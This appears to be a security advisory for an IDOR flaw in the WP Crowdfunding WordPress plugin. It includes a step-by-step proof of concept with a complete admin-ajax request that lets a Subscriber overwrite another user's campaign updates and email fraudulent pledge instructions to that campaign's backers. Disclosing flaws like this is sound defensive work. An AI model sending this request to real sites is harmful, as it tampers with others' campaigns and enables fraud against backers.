WP Crowdfunding < 2.2.1 – Subscriber+ Campaign Update Modification via IDOR | CVE 2026-14857

Description

The plugin does not verify ownership of a campaign before allowing its update history to be modified and a notification email sent to its backers, allowing any authenticated users such as Subscribers to alter other users' campaigns.

Proof of Concept

Prerequisites: WP Crowdfunding <= 2.1.17 active alongside WooCommerce. A campaign published by a victim user, whose post ID is public. An attacker account holding only the Subscriber role and owning no campaign.

1. Log in as the Subscriber and open the front-end Crowdfunding dashboard page (the [wpcf_dashboard] shortcode) at https://victim.example/dashboard/?page_type=update. Read the wpcf_form_action_field nonce from the update form. It is rendered for any logged-in user.

2. Send the cross-campaign write, substituting the victim campaign's post ID:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.example
Content-Type: application/x-www-form-urlencoded
Cookie: <Subscriber session cookies>

action=wpneo_update_status_save&wpcf_form_action_field=<nonce>&postid=<victim_campaign_id>&wpneo_prject_update_title_field[]=OwnedByAttacker&wpneo_prject_update_date_field[]=01-01-2026&wpneo_prject_update_details_field[]=please+re-send+your+pledge+to+attacker

Expected result: {"success":1,"message":"Successfully updated."}

3. Reload the victim campaign's update history. The wpneo_campaign_updates meta now holds the attacker's title, date and details in place of the owner's, and the campaign-update email has been sent to that campaign's backers carrying the attacker's text in the campaign owner's name.